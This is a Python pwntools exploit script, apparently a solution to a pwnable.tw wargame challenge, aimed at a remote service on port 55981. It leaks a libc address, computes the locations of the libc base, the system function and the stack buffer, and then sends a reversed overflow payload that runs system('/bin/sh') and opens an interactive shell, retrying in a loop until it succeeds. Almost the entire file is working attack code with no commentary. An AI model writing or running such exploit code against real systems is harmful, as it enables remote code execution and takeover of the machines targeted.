ReverseStr.py

from pwn import *

#elf = ELF('/usr/lib32/libc-2.22.so')
elf = ELF('./libc.so.6')
t = 0
while True:
    try:
        r = remote('pwning.pwnable.tw', 55981)
        print r.recvuntil(':')
        r.send('\x1c' + p32(0x080487ac)[::-1] + cyclic(71))
        x = r.recvrepeat(.15)
        print x
        print x.encode('hex')
#        libc_base = int(x.encode('hex')[2:10], 16) - 0x18497
        libc_base = int(x.encode('hex')[2:10], 16) - 105059
        system_got = libc_base + elf.symbols['system'] 
        gets_got = libc_base + elf.symbols['gets']

        print 'libc_base : %08x' % libc_base
        #print x.encode('hex')

        r.send('\x9c' + p32(0x080487ac)[::-1] + cyclic(71))
        x = r.recvrepeat(.15)
        x = x.encode('hex')
        print x
        #print len(x)
#        tmp = x[-12:-10] + x[-14:-12] + x[-16:-14] + x[-18:-16]
        tmp = x[-4:-2] + x[-6:-4] + x[-8:-6] + x[-10:-8]
        print tmp
        ebp_addr = int(tmp, 16) - 0x94
        buf_addr = ebp_addr - 0x48
        
        print hex(ebp_addr), hex(buf_addr)
        print hex(system_got)
        s = p32(0x08048558) + p32(system_got) + p32(buf_addr+56) + p32(buf_addr+56) + '/bin/sh;/bin/sh;'
        s = chr(buf_addr&0xFF) + p32(0x08048558)[::-1] + p32(buf_addr+40)[::-1] + s[::-1]
        r.send(s + cyclic(76-len(s)))
        r.interactive()
        break
    except:
        r.close()